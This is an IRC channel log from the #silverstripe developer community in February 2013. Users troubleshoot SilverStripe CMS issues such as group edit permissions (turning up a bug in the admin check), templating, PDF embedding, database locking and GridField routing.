#silverstripe IRC Log

IRC log for 7 February 2013

All timestamps are in UTC.

1: [00:03:00] * Pyromanik has joined #silverstripe
2: [00:03:00] <Pyromanik> Lunch was rubbish, but the break was good
3: [00:06:00] <FrozenFire> mirrors, When in doubt, use the native language way.
4: [00:06:00] <Pyromanik> :P
5: [00:06:00] <Pyromanik> too abstract.
6: [00:06:00] <Pyromanik> Never use jQuery
7: [00:07:00] <FrozenFire> I'm fairly certain that things like $this->stat() were introduced to hack in getting the static properties of extensions
8: [00:07:00] <Pyromanik> pretty sure
9: [00:09:00] <Pyromanik> pretty sure you were.
10: [00:09:00] <Pyromanik> but so am I
11: [00:09:00] <Pyromanik> so s'all good
12: [00:09:00] <FrozenFire> Bah. I was going to make a self-deprecating joke
13: [00:09:00] <FrozenFire> Was worried that I was talking out of my ass there.
14: [00:09:00] <FrozenFire> Good that we're in agreement
15: [00:09:00] <Pyromanik> sarcasam! \o/
16: [00:09:00] <Pyromanik> do it anyway
17: [00:09:00] <FrozenFire> "Which would be totally out of character for me..."
18: [00:09:00] <FrozenFire> But you screwed it up
19: [00:10:00] <Pyromanik> Sar-Chasm
20: [00:10:00] <spronk> Pyromanik: what did you have for lunch?
21: [00:11:00] <Pyromanik> like I said: rubbish
22: [00:11:00] <Pyromanik> Because I couldn't be bothered going to buy tomatoes and bread
23: [00:11:00] <Pyromanik> :/
24: [00:11:00] <Pyromanik> spronk: Pie & four piece sushi
25: [00:12:00] <Pyromanik> spronk: oh, and I washed it down with coke :<
26: [00:12:00] <Pyromanik> to have non rubbish lunch
27: [00:14:00] <mirrors> ok cheers guys
28: [00:14:00] <Pyromanik> worst lunch I've eaten in a while :S
29: [00:15:00] <Pyromanik> sweet cheers mirrors
30: [00:17:00] <spronk> shit bro
31: [00:19:00] <FrozenFire> Hey buddy
32: [00:19:00] <FrozenFire> Brah
33: [00:19:00] * FrozenFire pokes dnz-
34: [00:20:00] * jcwacky has joined #silverstripe
35: [00:21:00] <jcwacky> Can someone help me identify the permission that is stopping users from being able to edit a group, unless they are a full admin?
36: [00:23:00] <FrozenFire> Being able to edit a group as a non-admin is just begging for trouble
37: [00:23:00] <FrozenFire> jcwacky, Sensible permissions, probably.
38: [00:24:00] <jcwacky> I don't mind those users having admin access, I'd just prefer it if they weren't so that I can still hide unused sections such as Reports etc from them.
39: [00:25:00] <jcwacky> I need them to be able to easily click on a group and see all users in it, like you can as an admin.
40: [00:26:00] <Pyromanik> yeah
41: [00:26:00] <FrozenFire> jcwacky, What is your goal in them being able to see users in the groups?
42: [00:26:00] <Pyromanik> but you cannot
43: [00:26:00] <FrozenFire> jcwacky, I'd still not recommend it.
44: [00:26:00] <Pyromanik> spronk: totally.
45: [00:26:00] <jcwacky> They can already assign users to groups, whether editing an existing or adding a new one, so I don't see why it's not letting them click on a group to view all users.
46: [00:27:00] <Pyromanik> by default, if you cannot groups, you cannot security, because you it's an edit only interface I think
47: [00:27:00] <Pyromanik> I think
48: [00:27:00] <jcwacky> I have a couple of different groups, General Members & Sponsors, they restrict certain front end users from accessing certain pages.
49: [00:28:00] <jcwacky> I need my CMS users to be able to easily get a list of all the General Members etc, as they are responsible for adding users.
50: [00:30:00] <jcwacky> I've tried setting canEdit to true on Groups, but it hasn't made a difference.
51: [00:33:00] <jcwacky> The permissions don't make sense, with all the boxes ticked (apart from "Full administrative rights") they can view, edit & create users, assign them to groups, and even create groups. Yet, they can't click on a group to view all users in it. They can only see the whole list of users, no matter what group they're in.
52: [00:40:00] <howardgrigg> jcwacky: the code in the group section may not be using the permission setting properly...
53: [00:41:00] * Unlearned quit (Remote host closed the connection)
54: [00:42:00] <Pyromanik> because you cannot overwrite concrete methods with decorators
55: [00:42:00] <jcwacky> I've just worked out that setting canEdit to true in the Group.php file makes it do what I want. So, my Group Extension canEdit isn't being honoured for some reason.
56: [00:43:00] <Pyromanik> so unless the decorated object has a hook in the function you want to alter, you're a bit out of luck.
57: [00:45:00] <jcwacky> ah
58: [00:47:00] <Pyromanik> ie $this->extend(__FUNCTION__, $params);
59: [00:47:00] <Pyromanik> or suchlike
60: [00:48:00] <howardgrigg> sounds like a pull request ;)
61: [00:49:00] <Pyromanik> there are HEAPS of hooks like that missing through SS
62: [00:49:00] <jcwacky> just found "extendedCan($methodName, $member)" in DataObject
63: [00:49:00] <Pyromanik> some might be design decisions though, like this one.
64: [00:49:00] <Pyromanik> mmm yeh, but you wanna be looking at canEdit specifically
65: [00:49:00] <Pyromanik> I think
66: [00:57:00] <simon_w> Yup. The hooks in extendCan are only useful if the can method itself uses it
67: [01:01:00] <jcwacky> Hmm, so it's useless then?
68: [01:01:00] * chillu quit (Quit: chillu)
69: [01:02:00] <jcwacky> https://github.com/silverstripe/sapphire/blob/master/model/DataObject.php#L2500
70: [01:04:00] <Pyromanik> jcwacky: yes.
71: [01:04:00] <jcwacky> :(
72: [01:04:00] <jcwacky> And I can't use can() at all? https://github.com/silverstripe/sapphire/blob/master/model/DataObject.php#L2410
73: [01:05:00] <Pyromanik> you can, but you'd have to call it manually.
74: [01:06:00] <simon_w> Otherwise CMS_ACCESS_SecurityAdmin or ADMIN is usually enough to edit the group
75: [01:06:00] <Pyromanik> canEdit etc. are not shortcut methods iirc
76: [01:06:00] <simon_w> jcwacky, Group::canEdit() has a hook for letting you deny access
77: [01:07:00] <jcwacky> ah yes, but no way to explicitly allow access.
78: [01:08:00] <simon_w> https://github.com/silverstripe/sapphire/blob/3.0/security/Group.php#L391
79: [01:08:00] <jcwacky> CMS_ACCESS_SecurityAdmin doesn't allow it, and I don't want to have to make the users full admin.
80: [01:08:00] <simon_w> It does allow it. Unless the group has the admin permission
81: [01:09:00] <jcwacky> hmm, so why's that no working as I expect
82: [01:12:00] <jcwacky> DataObject::get("Permission", "GroupID = $this->ID AND Code = 'ADMIN'")
83: [01:12:00] <jcwacky> what exactly is that line checking? in regards to the CMS checkboxes.
84: [01:14:00] <Pyromanik> jcwacky: are you still using 2.4?
85: [01:14:00] <simon_w> If that group has the admin permission
86: [01:14:00] * liam quit (Quit: liam)
87: [01:14:00] <jcwacky> Nope, 3.0.3
88: [01:15:00] <Pyromanik> simon_w: neglected code!
89: [01:15:00] <Pyromanik> hmm
90: [01:15:00] <Pyromanik> so is that line from core?
91: [01:15:00] <Pyromanik> mmm
92: [01:15:00] <Pyromanik> I thought they'd all been switched out for the the new way
93: [01:16:00] <simon_w> Well, why it's not working as intended
94: [01:16:00] <simon_w> Oh! I know why!
95: [01:16:00] <simon_w> get always returns something now
96: [01:17:00] <simon_w> Will need unit test along with the fix
97: [01:17:00] <simon_w> buggy buggy buggy!
98: [01:17:00] <Pyromanik> o true
99: [01:18:00] <Pyromanik> also(params, like, the, old, get)!
100: [01:18:00] <jcwacky> ahhh!
101: [01:19:00] <Pyromanik> jcwacky: you found a bug!
102: [01:19:00] <jcwacky> oh well, glad we worked out what was going on there!
103: [01:20:00] <Pyromanik> :<
104: [01:20:00] <Pyromanik> doesn't seem postible
105: [01:20:00] <Pyromanik> how to center an image when it's wider than the container holding it?
106: [01:24:00] <jcwacky> Permission::get()->where("GroupID = $this->ID AND Code = 'ADMIN'")->count() == 0
107: [01:24:00] <jcwacky> and I wouldn't know where to start re a unit test.
108: [01:24:00] <jcwacky> ok, so this line appears to work as expected, instead of the old one:
109: [01:24:00] <jcwacky> not sure if it's the best way
110: [01:25:00] <simon_w> It isn't :p
111: [01:25:00] <jcwacky> didn't think so, but it works :P
112: [01:25:00] <simon_w> Though the Group.ID needs 3.1
113: [01:25:00] <simon_w> Permission::get()->filter(array('Group.ID' => $this->ID, 'Code' => 'ADMIN'))->exists()
114: [01:25:00] <jcwacky> what would be better?
115: [01:25:00] <jcwacky> ah yeh,
116: [01:25:00] <jcwacky> ah
117: [01:25:00] <jcwacky> I knew that!!
118: [01:27:00] * perverse has joined #silverstripe
119: [01:27:00] <jcwacky> your line seems to work fine in 3.0 if I use just GroupID
120: [01:27:00] <simon_w> Yeah, it would
121: [01:28:00] <jcwacky> to would just be preferred?
122: [01:28:00] <jcwacky> ok, cool :P
123: [01:28:00] <jcwacky> but that wouldn't work in 3.1?
124: [01:28:00] <jcwacky> *or
125: [01:30:00] <jcwacky> I'm making no sense now, time for sleep as it's 1:30am I think.
126: [01:31:00] <jcwacky> I'm able to do a pull request with that update tomorrow, but unsure about the unit test bit.
127: [01:36:00] * priithansen quit (Quit: priithansen)
128: [01:36:00] * liam__ has joined #silverstripe
129: [01:46:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/sapphire/compare/d289016bc38a...3a97b622d1b9
130: [01:46:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/sapphire/builds/4632068
131: [01:46:00] * travis-ci has left #silverstripe
132: [01:46:00] <travis-ci> [travis-ci] silverstripe/sapphire#1337 (3.1 - 3a97b62 : Sean Harvey): The build passed.
133: [01:46:00] * travis-ci has joined #silverstripe
134: [01:51:00] <Pyromanik> shot
135: [01:51:00] <jcwacky> Logged: http://open.silverstripe.org/ticket/8250
136: [01:52:00] <simon_w> Though I guess someone being in the room hasn't stopped us bad mouthing them before
137: [01:52:00] <simon_w> We're just that bleeding edge
138: [01:52:00] <simon_w> Now that he's gone we can say bad things about him!
139: [01:52:00] * jcwacky quit (Quit: jcwacky)
140: [01:53:00] <Pyromanik> what do?
141: [01:53:00] <Pyromanik> we're reverse engineers man
142: [01:53:00] <Pyromanik> live life on the edge
143: [01:53:00] <Pyromanik> that bleeeeeeeeeds
144: [01:53:00] <Pyromanik> also
145: [01:53:00] <Pyromanik> have include
146: [01:53:00] <Pyromanik> which requires css and js
147: [01:53:00] <Pyromanik> css is winning
148: [01:53:00] <Pyromanik> js is not
149: [01:54:00] <Pyromanik> fucked up an if
150: [01:54:00] <Pyromanik> oh
151: [01:54:00] <Pyromanik> thanks simon_w
152: [01:54:00] <simon_w> Get the JS paths right?
153: [01:54:00] <spronk> kk
154: [01:54:00] <Pyromanik> hang on
155: [01:54:00] <Pyromanik> buhmm
156: [01:55:00] <simon_w> Yeah, that'd do it too
157: [02:06:00] <irogue> don't realise what time it is til i get an email "I'm off now. see you tomorrow."
158: [02:07:00] <simon_w> Huh. So it is.
159: [02:07:00] <irogue> WHAAAATTTTTT 3pm
160: [02:07:00] <simon_w> Wanna come test this form with me? ;)
161: [02:08:00] <liam__> ?
162: [02:08:00] <simon_w> new ArrayData($array) ?
163: [02:08:00] <liam__> whats the best way to convert an array of data that is not ss objects to something that ss can use to render in an ss template.
164: [02:09:00] <liam__> ok thanks
165: [02:09:00] <willr_> liam__ or if it's a list of items, an ArrayList of ArrayData's...
166: [02:09:00] <simon_w> or, new ArrayList(array_map(function($a) { return new ArrayData($a); }, $array));
167: [02:10:00] * simon_w <3s array_map
168: [02:31:00] <Pyromanik> GridField doesn't respond to fieldByName ?
169: [02:37:00] <Pyromanik> oh, use the full dot notation
170: [02:37:00] <Pyromanik> fffff
171: [02:38:00] <Pyromanik> 'Root.Tab.GridField'
172: [02:38:00] <Pyromanik> pfft
173: [02:59:00] * iamss has joined #silverstripe
174: [02:59:00] <iamss> do we have a silverstripe functionality for that?
175: [02:59:00] <iamss> Hi Guys, have you guys tried embeding a pdf file on the page
176: [03:00:00] <Pyromanik> iamss: how do you mean 'embed' ?
177: [03:00:00] <Pyromanik> are you silverstripe?
178: [03:00:00] <Pyromanik> or the nazi kid of ss?
179: [03:00:00] <Pyromanik> kind*
180: [03:01:00] <iamss> I mean embedding a PDF file on a web Page
181: [03:02:00] <Pyromanik> Oh by embed you meant embed.
182: [03:02:00] <Pyromanik> how silly of me.
183: [03:03:00] <Pyromanik> attaching the file to a page, displaying the file within the page, having some kind of drag and drop placement of the file into content as a link, what/
184: [03:04:00] <Pyromanik> assuming you mean attach file to page, follow http://doc.silverstripe.org/framework/en/tutorials/2-extending-a-basic-site#adding-a-staff-section, replace "Image" with "File"
185: [03:05:00] <Pyromanik> no
186: [03:05:00] <Pyromanik> no one has a functionality for that
187: [03:05:00] <Pyromanik> oh
188: [03:05:00] <iamss> no not attaching a pdf file but showing a pdf format on the page
189: [03:06:00] <iamss> google recommends the use of the <object>
190: [03:06:00] <Pyromanik> unless you use some kind of flash object.
191: [03:06:00] <howardgrigg> you can use a third party service and embed an iframe into your content
192: [03:06:00] <howardgrigg> one sec...
193: [03:06:00] <Pyromanik> mmm
194: [03:06:00] <Pyromanik> what howardgrigg said.
195: [03:07:00] <Pyromanik> yeah, but it's entirely dependent on browsers having plugins and stuff unless you use some kind of service to translate the PDF into HTML
196: [03:07:00] <iamss> but I am looking for alternatives
197: [03:07:00] <howardgrigg> iamss: see http://personal.crocodoc.com
198: [03:07:00] <Pyromanik> which might be what howardgrigg is trying to find you
199: [03:08:00] <iamss> howardgrigg: this is cool. THanks I will try it
200: [03:08:00] <howardgrigg> but there isn't any SilverStripe connector for it so you would have to upload the doc to them then use their embed code to put it on your site
201: [03:09:00] <howardgrigg> depending on your dev ability you could write a thing where you uploaded the pdf within the CMS then it uses the crocodoc api to display that pdf on your site
202: [03:10:00] * mirrors quit (Quit: Page closed)
203: [03:11:00] <iamss> the newsletter content is in pdf format
204: [03:11:00] <iamss> actually what I am trying to do here is I have a newsletter sent to the email and when the clicked in the email it will redirect to this page with the pdf embedded
205: [03:12:00] <howardgrigg> sorry silly question
206: [03:12:00] <howardgrigg> is the newsletter attached to the email?
207: [03:13:00] <Pyromanik> not really
208: [03:13:00] <howardgrigg> oh k
209: [03:13:00] <howardgrigg> is the newsletter displayed with HTML in the email or is the email just a note saying the new newsletter is ready to download *here*
210: [03:13:00] <iamss> no, you will view the newsletter when you click the link in the email and shows the page with the pdf newsletter embeded
211: [03:14:00] <iamss> yeah and you can also view the newsletter in our site
212: [03:14:00] <howardgrigg> why don't you just link directly to the pdf?
213: [03:14:00] <iamss> well they want it in a different way
214: [03:16:00] <Pyromanik> or mailchimp?
215: [03:16:00] <Pyromanik> have they not heard of campaign monitor?
216: [03:17:00] <howardgrigg> or postmarkapp
217: [03:17:00] <Pyromanik> Or any other of the pile of specialty tools
218: [03:22:00] <Pyromanik> postmarkapp looks pretty cool howardgrigg
219: [03:22:00] <Pyromanik> mm, very cool
220: [03:23:00] <howardgrigg> gah github isn't loading for me at all today...
221: [03:23:00] <Pyromanik> works here :<
222: [03:23:00] <howardgrigg> but there is a silverstripe postmark module
223: [03:24:00] <Pyromanik> have you tried turning it off and on again?
224: [03:24:00] <Pyromanik> oh cool
225: [03:24:00] <howardgrigg> yea i know - seems to work for everyone else but it's be unavailable to me for a few hours
226: [03:25:00] * Pyromanik has left #silverstripe
227: [03:25:00] <Pyromanik> abuot home time!
228: [03:25:00] <Pyromanik> woo, tomorrow friday!
229: [03:48:00] * Keksters quit (Quit: Page closed)
230: [03:52:00] * iamss quit (Ping timeout: 245 seconds)
231: [04:02:00] <howardgrigg> simon_w: I know I've bugged you about this before - but can you point me in the right direction for modifing uploadfield to work with unsaved relations? Or is it beyond my capabilities?
232: [04:08:00] * nickmolhoek quit (Quit: nickmolhoek)
233: [04:16:00] * mobiusnz quit (Quit: Leaving.)
234: [04:28:00] * instabil2 has joined #silverstripe
235: [04:30:00] * DigNZ quit (Quit: DigNZ)
236: [04:32:00] * instabil quit (Ping timeout: 272 seconds)
237: [04:38:00] * cloph_away1 has joined #silverstripe
238: [04:39:00] * cloph_away quit (Ping timeout: 245 seconds)
239: [04:42:00] * ferge1 has joined #silverstripe
240: [04:51:00] * liam__ quit (Quit: liam__)
241: [04:51:00] * Stomach quit (Quit: Leaving.)
242: [05:05:00] * mobiusnz has joined #silverstripe
243: [05:06:00] * Colin[pi] quit (Ping timeout: 256 seconds)
244: [05:08:00] * DigNZ has joined #silverstripe
245: [05:09:00] * DigNZ quit (Client Quit)
246: [05:11:00] * DigNZ has joined #silverstripe
247: [05:17:00] * sminnee has left #silverstripe
248: [05:30:00] * DigNZ quit (Quit: DigNZ)
249: [05:34:00] * Zauberfisch quit (Ping timeout: 246 seconds)
250: [05:37:00] * willr_ quit (Quit: willr_)
251: [05:39:00] * liam has joined #silverstripe
252: [05:41:00] * howardgrigg quit (Read error: Connection reset by peer)
253: [05:42:00] * howardgrigg has joined #silverstripe
254: [05:43:00] * Zauberfisch has joined #silverstripe
255: [05:45:00] * Err404NotFound has joined #silverstripe
256: [05:45:00] * Err404NotFound quit (Ping timeout: 252 seconds)
257: [05:45:00] * DigNZ has joined #silverstripe
258: [05:45:00] * DigNZ quit (Client Quit)
259: [06:02:00] * mobiusnz quit (Read error: Connection reset by peer)
260: [06:02:00] * mobiusnz has joined #silverstripe
261: [06:17:00] * mobiusnz quit (Quit: Leaving.)
262: [06:19:00] * perverse quit ()
263: [06:23:00] <Zauberfisch> I need help routing a gridfield
264: [06:23:00] <Zauberfisch> I have a self build backend at /backend/dashboard
265: [06:23:00] <Zauberfisch> hmm
266: [06:24:00] * ajshort has joined #silverstripe
267: [06:24:00] <Zauberfisch> but /backend/dashboard/myForm/field/myGridfield/item/1/view does not work
268: [06:24:00] <Zauberfisch> /backend/dashboard/myForm/field/myGridfield works
269: [06:24:00] * Err404NotFound quit (Remote host closed the connection)
270: [06:25:00] <Zauberfisch> my routes.yml:
271: [06:26:00] <Zauberfisch> Director: rules: 'backend/dashboard//$Action/$ID/$OtherID': 'DashboardController'
272: [06:28:00] * Colin[pi] has joined #silverstripe
273: [06:35:00] * Error404NotFound has joined #silverstripe
274: [06:43:00] * liam quit (Read error: Connection reset by peer)
275: [07:00:00] * mirrors has joined #silverstripe
276: [07:02:00] <mirrors> Hey I am having trouble with Translatable in SS2.4. I can add en_US or de_DE to the allowed_locales but I cant get Arabic to work
277: [07:02:00] <mirrors> does anyone know the correct locale code
278: [07:02:00] <mirrors> i have tried ar_SA and ar_AE but these languages do not appear in the drop down in the admin area
279: [07:16:00] * Shrike_Finland quit (Quit: Leaving.)
280: [07:19:00] * ferge1 has left #silverstripe
281: [07:19:00] <mirrors> anyone ?
282: [07:22:00] * SightUnseen has joined #silverstripe
283: [07:24:00] * SightUnseen has left #silverstripe
284: [07:35:00] * Bollig|DesignCty quit (Quit: Bollig|DesignCty)
285: [07:41:00] <howardgrigg> how do you display an alert in the CMS?
286: [07:41:00] * chillu has joined #silverstripe
287: [07:42:00] <howardgrigg> oh chillu is here - how do I display an alert in the CMS?
288: [07:46:00] * mirrors quit (Quit: Page closed)
289: [07:48:00] * zfmf has joined #silverstripe
290: [07:51:00] * Shrike_Finland has joined #silverstripe
291: [07:53:00] <ajshort> howardgrigg, set a status description on the response you return
292: [07:57:00] <howardgrigg> ajshort: cool just looking into that now
293: [07:58:00] <ajshort> Look what I almost have working :) http://i.imgur.com/BbehsyF.png
294: [07:59:00] <howardgrigg> woah that looks cool!
295: [08:04:00] <ajshort> We're almost on par with SS 2!
296: [08:06:00] * Unlearned has joined #silverstripe
297: [08:07:00] <Unlearned> hey, anyone may know why does Translatable::set_reading_locale break my whole page and results in white screen ?
298: [08:07:00] <howardgrigg> haha - I take it it's going to have a save button?
299: [08:08:00] <howardgrigg> Unlearned: sounds like a php error
300: [08:08:00] <ajshort> howardgrigg, I know I forgot something :P
301: [08:08:00] <ajshort> knew rather
302: [08:09:00] <Unlearned> it's just as simple as it sounds
303: [08:09:00] <Unlearned> howardgrigg, yeah, but with reporting on and log files there's nothing to see
304: [08:09:00] <Unlearned> whte page
305: [08:09:00] <Unlearned> I mean: Translatable::set_reading_locale('en_US');
306: [08:13:00] <howardgrigg> ajshort: how do I set the response correctly? see http://pastie.org/6085595
307: [08:15:00] <ajshort> but check firebug/web inspector to see if it's being attached to the response properly
308: [08:15:00] <ajshort> howardgrigg, you can use setStatusDescription
309: [08:16:00] * zfmf has left #silverstripe
310: [08:17:00] * zfmf has joined #silverstripe
311: [08:18:00] <howardgrigg> Fatal error: Call to undefined method SS_HTTPResponse::create()
312: [08:19:00] <ajshort> What's wrong with the new operator?
313: [08:20:00] <howardgrigg> oh whoops yea that works
314: [08:20:00] * zfmf has left #silverstripe
315: [08:21:00] <howardgrigg> thanks :)
316: [08:29:00] * simon_w|air has joined #silverstripe
317: [08:30:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/sapphire/builds/4636135
318: [08:30:00] * travis-ci has left #silverstripe
319: [08:30:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/sapphire/compare/a1beda14d124...79eacb243902
320: [08:30:00] * travis-ci has joined #silverstripe
321: [08:30:00] <travis-ci> [travis-ci] silverstripe/sapphire#1338 (3.0 - 79eacb2 : Ingo Schommer): The build passed.
322: [08:31:00] <Unlearned> like $Link123 <- is not parsed as $Link, and $Link 123 doesn't work for me as it contains a space
323: [08:31:00] <Unlearned> how can I add something to the value inside a template without a space?
324: [08:32:00] <simon_w|air> though, for link, you probably should be using $Link("123")
325: [08:32:00] <simon_w|air> Unlearned, {$Link}123
326: [08:35:00] <Unlearned> simon_w thanks! worked great! :)
327: [08:37:00] * SightUnseen has joined #silverstripe
328: [08:38:00] * SightUnseen has left #silverstripe
329: [08:44:00] <MrGuits> Is it posible to get datasets without locks (or otherwise keep it isolated)? I have a script that reads a lot of dataobjects in hierchary and everytime i do that the site is blocked
330: [08:49:00] <simon_w|air> MrGuits, if you're getting locks, that sounds more like a database problem. Are you using MyISAM tables by any chance?
331: [08:50:00] <MrGuits> eerr .. not sure ..how can i tell?
332: [08:51:00] <MrGuits> yes .. MyISAM
333: [08:51:00] <simon_w|air> SHOW TABLE STATUS LIKE 'TableName'; then look in the engine column
334: [08:52:00] <simon_w|air> Are you using FullTextSearch at all on the table?
335: [08:52:00] <MrGuits> yes
336: [08:52:00] <MrGuits> ..siteTree
337: [08:53:00] <simon_w|air> Then I guess you're stuck, though it really shouldn't be locking the table during a read
338: [08:54:00] <MrGuits> It is a a nested menu with 4 levels with average on 10 sub items per item
339: [08:55:00] <MrGuits> counted up to a couple of hundred sql-queries
340: [08:55:00] <simon_w|air> And?
341: [08:56:00] <MrGuits> maybe it just reach the cpu-limit
342: [08:57:00] <ajshort> MrGuits, you can use partial caching to only regenerate the menu when needed
343: [08:57:00] <MrGuits> yes that?? what i do
344: [08:58:00] <MrGuits> during that time the site is "down"
345: [08:58:00] <MrGuits> but the menu still takes a couple of minutes to generate
346: [08:58:00] <ajshort> you might need to write a custom menu generator, grab all the records in one hit, and then build the hierarchy in PHP code
347: [08:59:00] <MrGuits> yes
348: [08:59:00] <ajshort> but first check you're not generating any unnecessary queries
349: [08:59:00] <simon_w|air> Or nested cache blocks
350: [08:59:00] <simon_w|air> Though you're in a loop, so that may not work
351: [09:01:00] <MrGuits> i am looking at pushing all objects into an array and then do a custom sql query to just get the IDs of the menuitems..
352: [09:12:00] * ARNHOFF has joined #silverstripe
353: [09:23:00] * lx-berlin has joined #silverstripe
354: [09:30:00] <Zauberfisch> /backend/dashboard/myForm/field/myGridfield works
355: [09:30:00] <Zauberfisch> please allow me to repost my question from a few hours ago
356: [09:30:00] <Zauberfisch> I need help routing a gridfield
357: [09:30:00] <Zauberfisch> I have a self build backend at /backend/dashboard
358: [09:30:00] <Zauberfisch> but /backend/dashboard/myForm/field/myGridfield/item/1/view does not work
359: [09:31:00] <Zauberfisch> my routes.yml: Director: rules: 'backend/dashboard//$Action/$ID/$OtherID': 'DashboardController'
360: [09:37:00] * Zauberfisch quit (Ping timeout: 246 seconds)
361: [09:40:00] <guci0> Hello moto!
362: [09:40:00] * guci0 has joined #silverstripe
363: [09:40:00] <lx-berlin> just saw the ss video for government websites. This .docx importer look nice but i wouldnt trust it :)
364: [09:44:00] <lx-berlin> http://vimeo.com/53125346
365: [09:44:00] <ARNHOFF> lx-berlin: could you link that video, please?
366: [09:56:00] <ARNHOFF> thanks!
367: [09:58:00] <lx-berlin> no problem
368: [10:01:00] * Zauberfisch has joined #silverstripe
369: [10:02:00] <guci0> Nice
370: [10:02:00] * popeshoe quit (Quit: Leaving)
371: [10:05:00] * popeshoe has joined #silverstripe
372: [10:06:00] * simon_w|air quit (Quit: This computer has gone to sleep)
373: [10:19:00] <Zauberfisch> simon_w maybe you?
374: [10:19:00] <Zauberfisch> any guesses
375: [10:23:00] * r3v3rb has joined #silverstripe
376: [10:23:00] <r3v3rb> morning
377: [10:23:00] <howardgrigg> evening
378: [10:24:00] * travis-ci has left #silverstripe
379: [10:24:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/sapphire/builds/4637510
380: [10:24:00] <ARNHOFF> morning :P
381: [10:24:00] <howardgrigg> chillu: what's required to display the simplest form of the sitetree (just as links not management)
382: [10:24:00] * travis-ci has joined #silverstripe
383: [10:24:00] <travis-ci> [travis-ci] silverstripe/sapphire#1340 (3.0 - 2b05951 : Ingo Schommer): The build passed.
384: [10:24:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/sapphire/compare/79eacb243902...2b05951d4104
385: [10:26:00] <Zauberfisch> ohai chillu, good to see you
386: [10:26:00] <chillu> howardgrigg: Have a look at TreeDropdownField to get started, mainly around Hierarchy-getChildrenAsUL()
387: [10:26:00] <chillu> ohai :)
388: [10:27:00] <Zauberfisch> do you by any chance have a idea on what I am doing wrong with my gridfield?
389: [10:27:00] <r3v3rb> I am shocked - you are my GOD
390: [10:27:00] <r3v3rb> Zauberfisch: you have problems ?!?!
391: [10:28:00] <Zauberfisch> haha, yeah, gridfield in front end is beeng a pain in the arse
392: [10:29:00] <chillu> I've never used it on the frontend TBH, although that is an intended use case
393: [10:29:00] <r3v3rb> hehe, Zauberfisch :D
394: [10:29:00] <Zauberfisch> meh, r3v3rb I might be a bit experienced in using ss, but far from being a god :)
395: [10:30:00] <r3v3rb> has anyone tried the new Newsletter module yet in SS3 ?
396: [10:30:00] <r3v3rb> does it work the same as in 2.4.8 ?
397: [10:30:00] <Zauberfisch> chillu it actually works better than I expected, but at the moment I just cant figure out why my routes are not working
398: [10:32:00] <travis-ci> [travis-ci] silverstripe/sapphire#1341 (3.1 - 121fb66 : Ingo Schommer): The build has errored.
399: [10:32:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/sapphire/compare/3a97b622d1b9...121fb662e6d0
400: [10:32:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/sapphire/builds/4637519
401: [10:32:00] * travis-ci has joined #silverstripe
402: [10:32:00] * travis-ci has left #silverstripe
403: [10:34:00] <chillu> Long time coming :)
404: [10:34:00] <r3v3rb> yay! 3.1 finally removed prototype and behaviour!
405: [10:34:00] <r3v3rb> bloody hell yes
406: [10:34:00] <chillu> My team has upgraded it for a client: https://github.com/silverstripe-labs/silverstripe-newsletter
407: [10:34:00] <chillu> Its been refactored a bit (https://github.com/silverstripe-labs/silverstripe-newsletter/blob/master/CHANGELOG.md), although I still think its an inferior solution to the majority of SaaS providers out there
408: [10:35:00] <r3v3rb> :D caused untold pain every time having to remove/override
409: [10:35:00] <r3v3rb> is it fair to say that jQuery has pretty much conquered the JS libraries??? ;)
410: [10:36:00] <r3v3rb> I don't hear much of Moo at all these days
411: [10:37:00] <r3v3rb> :\
412: [10:37:00] <lx-berlin> hey Zauberfisch, good to see you are available. :) I have add a member who belongs to a news Group . This group can only access some DataObjectManager in the cms. But now the UploadField in these DataObjectManagers are not editable for those members.
413: [10:37:00] <lx-berlin> hi all , btw
414: [10:37:00] * Shrike_Finland quit (Quit: Leaving.)
415: [10:37:00] <r3v3rb> hey lx-berlin :D
416: [10:37:00] <Zauberfisch> lx-berlin wait what, DOM and uploadfield?
417: [10:37:00] <Zauberfisch> what ss version?
418: [10:38:00] <Zauberfisch> (ss23) ss24 or ss3?
419: [10:38:00] <lx-berlin> not DataObjectmanager (omg)
420: [10:38:00] <Zauberfisch> ah, I see
421: [10:38:00] <Zauberfisch> >:D
422: [10:38:00] <r3v3rb> oh how i love responsive sites! building three lots of css for the same content - yummy
423: [10:38:00] <ss23> :P
424: [10:38:00] <lx-berlin> ups, i mean Modelamin :)
425: [10:38:00] <lx-berlin> ss3
426: [10:38:00] <r3v3rb> :P
427: [10:39:00] <Zauberfisch> hmmm
428: [10:39:00] <r3v3rb> lets do it! Switzerland?
429: [10:39:00] <Zauberfisch> switzerland is close
430: [10:39:00] <lx-berlin> but why cant these people belonging to this restriced group not access the UploadField ?
431: [10:39:00] * r3v3rb wants 3x money
432: [10:39:00] <Zauberfisch> <r3v3rb> yay! 3.1 finally removed prototype and behaviour!
433: [10:39:00] <Zauberfisch> hooray indeed!
434: [10:39:00] <r3v3rb> Zauberfisch: :DDDDD
435: [10:39:00] <Zauberfisch> we should throw a party for that
436: [10:40:00] <r3v3rb> Wow! That would be insane...
437: [10:40:00] <r3v3rb> I wonder how much flights would cost
438: [10:40:00] <r3v3rb> checking
439: [10:40:00] <Zauberfisch> but still a long way to go
440: [10:40:00] <Zauberfisch> r3v3rb feel like comming to vienna on march the 3rd?
441: [10:40:00] <Zauberfisch> we will have a small meetup there
442: [10:40:00] <r3v3rb> Austria
443: [10:40:00] <r3v3rb> ;)
444: [10:41:00] <Zauberfisch> lx-berlin maybe its file permission, I can't remember how that is handled
445: [10:41:00] <Zauberfisch> lx-berlin have you tried returning true on canView and canEdit of the dataobjects?
446: [10:41:00] <r3v3rb> ??170+taxes+hotel
447: [10:42:00] <Zauberfisch> try to decorate file and return true there
448: [10:42:00] <r3v3rb> Alpha Wien ??60pn
449: [10:42:00] <Zauberfisch> lx-berlin but maybe you have to return true in file can edit as well
450: [10:42:00] <r3v3rb> as in add hotel cost
451: [10:42:00] <r3v3rb> no + hotel...
452: [10:42:00] <Zauberfisch> r3v3rb including hotel? that sounds cheap
453: [10:42:00] <lx-berlin> Zauberfisch: i have set canView, ... for these DataObjects. So now they can work with the modeladmin
